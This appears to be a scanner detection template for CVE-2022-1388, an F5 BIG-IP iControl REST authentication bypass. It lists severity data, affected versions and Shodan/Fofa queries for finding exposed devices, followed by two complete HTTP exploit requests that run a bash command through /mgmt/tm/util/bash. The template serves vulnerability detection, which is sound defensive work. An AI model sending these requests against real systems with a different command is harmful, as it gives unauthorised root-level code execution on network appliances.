| Title | F5 BIG-IP iControl - REST Auth Bypass RCE |
|---|---|
| Author | dwisiswant0,Ph33r |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to bypass authentication and execute arbitrary code on the affected system. |
| Remediation | Apply the necessary security patches or updates provided by F5 Networks to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94456 |
| CVE ID | CVE-2022-1388 |
| CWE ID | CWE-306 |
| Shodan Query | http.title:"BIG-IP®-+Redirect" +"Server"http.title:"big-ip®-+redirect" +"server" |
| Fofa Query | title="big-ip®-+redirect" +"server" |
| Tags | cve cve2022 f5 bigip rce mirai kev vkev vuln |
F5 BIG-IP 16.1.x versions prior to 16.1.2.2, 15.1.x versions prior to 15.1.5.1, 14.1.x versions prior to 14.1.4.6, 13.1.x versions prior to 13.1.5, and all 12.1.x and 11.6.x versions, may allow undisclosed requests to bypass iControl REST authentication.
POST /mgmt/tm/util/bash HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.6.25
Content-Length: 81
Authorization: Basic YWRtaW46
Connection: keep-alive, X-F5-Auth-Token
Content-Type: application/json
X-F5-Auth-Token: a
Accept-Encoding: gzip
Connection: close
{
"command": "run",
"utilCmdArgs": "-c 'echo CVE-2022-1388 | rev'"
}
POST /mgmt/tm/util/bash HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Content-Length: 81
Authorization: Basic YWRtaW46
Connection: keep-alive, X-F5-Auth-Token
Content-Type: application/json
X-F5-Auth-Token: a
Accept-Encoding: gzip
Connection: close
{
"command": "run",
"utilCmdArgs": "-c 'echo CVE-2022-1388 | rev'"
}
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